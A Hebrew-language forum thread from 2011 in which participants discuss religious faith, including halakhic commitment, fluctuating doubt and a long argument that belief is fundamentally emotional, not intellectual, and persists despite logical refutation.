5. "אנו מחוייבים להלכה". הרבנים מחוייבים להלכה, דהיינו לפסוק הלכה על-פי התורה והכללים שקיבלו מרבותיהם.
הלומדים והלומדות, רצוי שיהיו מחוייבים ללמוד ולדעת את ההלכה כדי שיצליחו לשומרה ולעשותה.
תוקן על ידי מ80 ב- 02/12/2011 01:52:35
 |
|
|
|
|
| נשלח ב-5/12/2011 00:07 |
|
| |
הבהרה: תגובתי על נחיצות ניתוח משמעות מושאי האמונה, והעקיבה אחר הסיבות שהביאו אליה. אינם אמורים דווקא ביחס להאמנה במונח מחייב, כאמונה ב הימצאות ישות בוראת, הינתנות חוקה משמים, ייחודו של עם נבחר, מחויבות לחיות במערכת ערכית או כל רעיון ותיאוריה אחרת. אלא אף להפך, בהאמנה במונח שולל. כאמונה בשלילת ואי נכונות הדוגמאות הנ"ל.
בינתיים, עד שלומדתמלומדת תחזור אלינו, נמשיך בדיון על ה'אמונה'.
מדברי לומדת: מצב אי ודאות אינו אומר שבכל רגע ורגע אני חושב"מרגיש חמישים אחוז שיש אלוקים וחמישים אחוז שאין. החלוקה יכולה להיות, למשל, לזמנים שונים. כמו שדעותינו והרגשותינו ביחס לעצמנו ולאחרים משתנות מזמן לזמן, (פעם אוהבים ופעם אדישים, פעם נרתעים ופעם מתלהבים, פעם נחיתיים ופעם גאים) כך כאן. יש זמנים ושועת וימים שבהם אנו מאמינים ויש זמנים שבהם מאמינים פחות ופחות.
יכולה להיות גם חלוקה בין רגש לשכל. או בין כוחות אחרים. ברגש מאמינים ובשכל מבינים אחרת, או בשכל מבינים את קיומו וברגש חשים אחרת. הרי מכל מקום נפש האדם מכילה בתוכה סתירות, ויש בנו קולות נוגדים. ההתנהגות נובעת לפעמים מחלק שלנו, למרות שיש בנו חלק סותר. ויש גם, למרות שזה נשמע פשטני אבל לדעתי זה כך, גם חלוקה למקומות. כשאתה בבית כנסת של עובדי השם ומשוייך אליהם, מתעורר בך החלק המאמין. כשאתה בחברה אחרת, אולי כאן בפורום..., מתעורר בך החלק המסתפק. אלו זרעים שנמצאים בך, גם אלו וגם אלו, ומה שבחוץ מגביר את מה שבפנים.
נראה לי שאפשר גם לומר, אחרי הנ"ל, שיש כלל טבעי: מה שמסתכלים עליו - מתעצם. אם בוחרים להיות יותר בספק, הוא מתעצם ומתפשט וכובש עוד ועוד חלקים בתוכנו. אם בוחרים (לא מפחד, ולא בהדחקה {שרק מגבירה ספקות, וגורמת להם - כמו למים שלא תועלו ולא נותבו אלא נחסמו - לפרוץ בצורה לא מבוקרת באחד הימים}, אלא ברצון, ביודענו שיש בנו ספקות, ואנו מכילים אותם, אך בוחרים להסתכל על החלק האחר) להביט על החלק המאמין, הוא מתעצם.
לומדת, אבחנת פה את טבע האמונה בצורה נפלאה. חשפת את הסתירות שנושאת האמונה בתוכה -פעמים היא רגשית מנוגדת לשכל ופעמים נדמית היא שכלית מנוגדת לרגש רגעי. היא תלויה מאוד בזרזים חיצוניים, והיא כפויה לרצון בעליה, ברצונם יעצימוה וברצונם יחלישוה. דברייך אלו חשובים מאוד לעמוד על מהותה של ה'אמונה'.
אנחנו רגילים לחלק את פעילות הנפש לשתי פעילויות עיקריות. האחת - 'הפעילות הרגשית' הכוללת את כל התחושות והחוויות הסובייקטיביות כאהבה, שנאה, פחד, רגשות אושר וסיפוק, ואפילו חוויות טעם וריח [חווית הטעם היא ללא ספק נפשית - הסובייקט הוא החש את הטעם] וכדו'. והשניה - 'הפעילות השכלית' הכוללת את כל סוגי החשיבה התודעתית, הלוגית, החישובית, העיונית וכדו'.
כשנבוא לסווג את ה'אמונה', טבעי היה שנייחסה לחלק השכלי. הרי מה היא האמונה? ייחוס האמנה לרעיונות, תיאוריות וכדו' שאין לנו ידיעה ברורה לגביהן. אמנם אינן ידועות בבירור שנוכל להתייחס אליהן כ'ידיעה', אבל הן מספיק סבירות ואמורות להיות תוצאה של דרכי הגיון מקובלים, עד שנוכל להתייחס אליהן כמאומנות. באם היו אלו רעיונות משוערות שהסיכוי להיותן אמיתיות שקול להיותן מופרכות, הן לא היו קונות מעמד של אמונה, וכנראה אף לא של ספק. באם נבדוק את שכיחות מושאי האמונה בקרב ההמון, נופתע לגלות שתי תופעות שאינן מסתדרות עם הנ"ל. האחת - האמונות השונות מתאזרחות בלב רפי שכל וקטני הבנה ועיון באותה שכיחות שהן נמצאות בקרב רמי שכל ועמוקי בינה ועיון. כמובן שלא באותה רמה ועומק, אבל עפ"י רוב באותה מסגרת והקף. השניה - עליה הצביעה מלומדת. האמונה תלויה מדי בהקשרים זרים לפעילות שכלית, היא קשורה מאוד למצבי רוח של בעליה, היא נתונה לוויסות מתמיד ע"י בעליה עפ"י צרכיהם [לרוב פסיכולוגיים], היא מגיבה מאוד בקלות לרוח הסובבים אותה. נדמה ששתי התופעות האלו מצביעות שה'אמונה' לא שייכת לחלק העיוני שבאדם. מונחים תבוניים, לוגיים, ושאר עיוניים לא תלויים בכל דבר אחר מלבד משמעותם וקשרי היחס שביניהם. הם גם לא מוצאים משכן אלא בלב מי שמשכילם ומבינם. באם האמונה שונה בשתי תכונות מאפיינות אלו, כנראה היא לא שייכת למחלקתם. אמנם מושאי אמונה תמיד יהיו בעלי תוכן ואלמנט תבוני, אך יחס האמנה עצמו אליהם הלוא היא ה'אמונה' - הוא בעל אופי רגשי. האמנה נרכשת ונבנית לאט לאט בנפש בעליה, אפשר שראשיתה בהסתברות והשערה הגיוניים אפילו בעלות צביון לוגי טהור, אפשר ע"י סיבה נפשית [שאין כאן המקום לפרטן], אפשר ע"י תמימות ילדותית ואחרת. אך אחר שקנתה היא שביתה סבירה בלב בעליה, היא מתעצמת ומתעצמת עד שהופכת לקנין שקשה מאוד להפרידו מנפש בעליו, קשה מאוד להפריכו. אף שבעליה ישתכנעו שקנינם אפשר קנין טעות הוא או אולי מקח ילדות הוא, הפך הוא כבר חלק מנחלתם הקרובה, הוא מזוהה כחלק מרעיונם האישי. לא יעזרו הסברים ונסיון לחשוף את הכשלים בו. דומה היא האמונה לאהבת אם לצאצאיה, אהבה זו למרות הפן השכלתני שלה, תכונה רגשית היא [הנמצאת בכל בעה"ח. ואין כאן המקום לדון בדרכי קנייתה ההורמונליים] אהבה זו משהתבססה בלב בהליך רכישה והתעצמות, לא תוכל להיות מומרת בשום שכנוע הגיוני בעולם. דומה היא האמונה להתאהבות רעים שאחר גמר קנינה תתגבר כמעט על כל כח אחר. דומה היא האמונה לכל רגש עוצמתי, שמשהשתלט על נפשו של אדם, כמעט אין מקום להגיון ותבונה לעוקרו.
כמו"כ ה'אמונה' רגשית היא. מספיקים הגרעינים הרעיוניים שבה להצמיח בלב בעליה אילן מכה שורשי קשר והזדהות איתנים, ולהפריח ענפי עבות של תחושות התקשרות והאמנה. הסברים רבים להם, הם מקנים בטחון, רוגע מצפוני, מסלול עשייה ופעולה, אידיאל למימוש, משמעות סיפוק ואושר, ועוד. ככל רגש מורכב אחר מושפעת האמונה מסביבתה החיצונית, מתחושת בעליה העכשוית, מרצונם ושיקוליהם.
גם מי שאינו מודע [במתכוון או שלא] לבעיתיות הלוגית בה שרויה אמונתו. אינו מחזיקה ומשמרה בגלל ערך האמת שלה. בזה היא דומה לכל עיון נרכש אחר של אדם שמשהסתגל אליו הרי הוא ממשיך ומתקדם הלאה. הלבוי והתחזוק של האמונה סיבה טובה לה - פירות האמונה. פירות אלו מתוקים מכל, משביעים, מרווים את הנפש יותר מכל דבר אחר. שווה היא האמונה לבעליה לפעמים יותר מנפשם עצמם. האמונה גם לאחר שספגה חבטות וטלטלות שמבחינה לוגית דיין לפרקה, בכל זאת שורדת היא כל גלים ומשברים. החלק העיוני לא תמיד יכול לה כי נזונת ומזינה היא את החלקים הלא שכילתיים שבנפש האדם.
מאמינים רבים [בערכים מחייבים או שוללים] יוכלו להעיד שאף לאחר ששוכנעו לוגית בחוסר ההצדקה או בטעות הבסיסית שבאמונתם - עקב סתירות או חוסר הסתברות, כשל דרכי הסק, חוסר בהירות ומשמעות, מקורות חסרי אימון וכדו'. קשה היה להם להינתק מערכי האמונה בהם הורגלו. היה מספיק להם משמעות קלושה וערפל עיוני כדי להמשיך להאחז במה שהורגלו ולנהוג עפ"י אמונתם. רק בעלי תכונות שכילתיים חזקים, שכח העיון גובר אצליהם על רגשותיהם, היו מסוגלים מששוכנעו, להנתק לגמרי מהרגלי אמונתם.
פנינת א.
 |
|
|
|
|
|